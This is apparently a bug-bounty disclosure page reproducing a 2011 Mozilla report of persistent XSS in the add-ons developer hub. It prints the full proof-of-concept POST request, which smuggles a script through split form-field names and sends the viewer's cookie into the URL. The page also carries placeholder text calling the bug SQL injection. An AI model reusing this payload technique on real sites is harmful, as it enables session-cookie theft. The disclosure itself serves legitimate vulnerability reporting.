Blind SQLi and persistent XSS vulnerabilities in developer hub
Originally disclosed on Mozilla
- Fixed in 6 hours
- Paid in 2.8 years
- Disclosed after 6 hours
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Fedora/3.6.13-1.fc13 Firefox/3.6.13
Build Identifier:
In a similar but more severe manner to Bug 606712, many pages in the developer hub do not sanitise input, allowing malicious users to inject arbitrary javascript despite 10 character limit on the input size. I have created a proof-of-concept at https://addons.mozilla.org/en-US/developers/previews/269982/ It may only operate if the viewer has write-permission on it. Since write permission can be granted to anyone without their consent, I think this can essentially affect any user with an account.
The following pages are affected, but I've probably missed some:
https://addons.mozilla.org/en-US/developers/previews/*/
https://addons.mozilla.org/en-US/developers/addon/edit/*/descriptions
https://addons.mozilla.org/en-US/developers/addon/edit/*/profile
Reproducible: Always
Steps to Reproduce:
1.View https://addons.mozilla.org/en-US/developers/previews/269979/
1.5 Or view the attached HTML page which is exactly the same.
2.Note that it uses javascript to write your cookie to the URL
Alternatively, visit one of the mentioned pages with an intercepting proxy and try changing a value in the POST request from en-us to anything else 10 chars or less.
Expected Results:
The language setting code should use a whitelist and thus disallow made up languages.
All XSS attacks could be mitigated by adding the HTTPONLY flag to cookies. Some site functionality may rely on the absence of this flag.
This is the request that created the proof-of-concept. Naturally some of the numbers would need to be altered for it to work on another page.
POST /en-US/developers/previews/269982/ HTTP/1.1
-----------------------------7242506752080258940513087955
Content-Disposition: form-data; name="data[Preview][52295][caption][en-US]"
-----------------------------7242506752080258940513087955
Content-Disposition: form-data; name="data[Preview][52295][caption][<script>/*]"
*/document.location = 123 + document.cookie;/*
-----------------------------7242506752080258940513087955
Content-Disposition: form-data; name="data[Preview][52295][caption][ro]"
-----------------------------7242506752080258940513087955
Content-Disposition: form-data; name="data[Preview][New][52295]"; filename=""
Content-Type: application/octet-stream
-----------------------------7242506752080258940513087955
Content-Disposition: form-data; name="data[Preview][Delete][52295]"
false
-----------------------------7242506752080258940513087955
Content-Disposition: form-data; name="data[Preview][52296][caption][en-US]"
-----------------------------7242506752080258940513087955
Content-Disposition: form-data; name="data[Preview][52296][caption][\t*///]"
2
-----------------------------7242506752080258940513087955
Content-Disposition: form-data; name="data[Preview][52296][caption][\n</script>]"
3
-----------------------------7242506752080258940513087955
Content-Disposition: form-data; name="data[Preview][New][52296]"; filename=""
Content-Type: application/octet-stream
-----------------------------7242506752080258940513087955
Content-Disposition: form-data; name="data[Preview][Delete][52296]"
false
-----------------------------7242506752080258940513087955
Content-Disposition: form-data; name="data[Preview][New][]"; filename=""
Content-Type: application/octet-stream
-----------------------------7242506752080258940513087955--
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A SQL injection bug in Developer Pages. Mozilla made it public on 4 January 2011.
About SQL injection
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.